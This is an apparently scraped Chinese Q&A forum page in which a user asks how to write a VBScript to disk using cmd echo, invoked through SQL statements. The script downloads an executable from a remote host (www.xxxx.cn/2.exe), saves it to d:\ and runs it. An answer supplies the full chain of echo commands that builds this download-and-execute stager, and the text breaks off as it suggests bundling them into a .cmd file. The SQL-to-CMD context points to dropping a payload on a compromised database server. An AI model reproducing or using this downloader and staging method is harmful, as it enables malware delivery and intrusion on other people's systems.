[求助]在cmd下用echo写入一段字母

来源:百度知道 编辑:UC知道 时间:2024/06/06 16:56:38
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.xxxx.cn/2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "d:\2.exe",2
wscript.sleep 1000
Shell.Run ("d:\2.exe")

就是用echo把上面的一段写入到vbs。vbs文件里

或者在cmd下用别的方法写入也可以

只要能把上面的一段字母写入到vbs。vbs里就可以
marine_marion 回答正确,

但不是我满意的答案,因为我是用SQL语句调用CMD执行ECHO写入的,

SQL提示 "Error Message:不正常地定义参数对象。提供了不一致或不完整的信息。"

高手门继续帮小菜,如果成功了我就回追加分数的

echo没法直接写回车,所以要很多个echo联起来——假设vbs文件名是 vbs.vbs ,那么执行以下cmd命令(可以整段复制粘贴执行):

echo Set Post = CreateObject("Msxml2.XMLHTTP") > vbs.vbs
echo Set Shell = CreateObject("Wscript.Shell") >> vbs.vbs
echo Post.Open "GET","http://www.xxxx.cn/2.exe",0 >> vbs.vbs
echo Post.Send() >> vbs.vbs
echo Set aGet = CreateObject("ADODB.Stream") >> vbs.vbs
echo aGet.Mode = 3 >> vbs.vbs
echo aGet.Type = 1 >> vbs.vbs
echo aGet.Open() >> vbs.vbs
echo aGet.Write(Post.responseBody) >> vbs.vbs
echo aGet.SaveToFile "d:\2.exe",2 >> vbs.vbs
echo wscript.sleep 1000 >> vbs.vbs
echo Shell.Run ("d:\2.exe") >> vbs.vbs

=========================================

当然你也可以把这么多行cmd命令保存成一个.cmd文件(比如echo2vbs.cmd ,一次性执行该文件即生成vb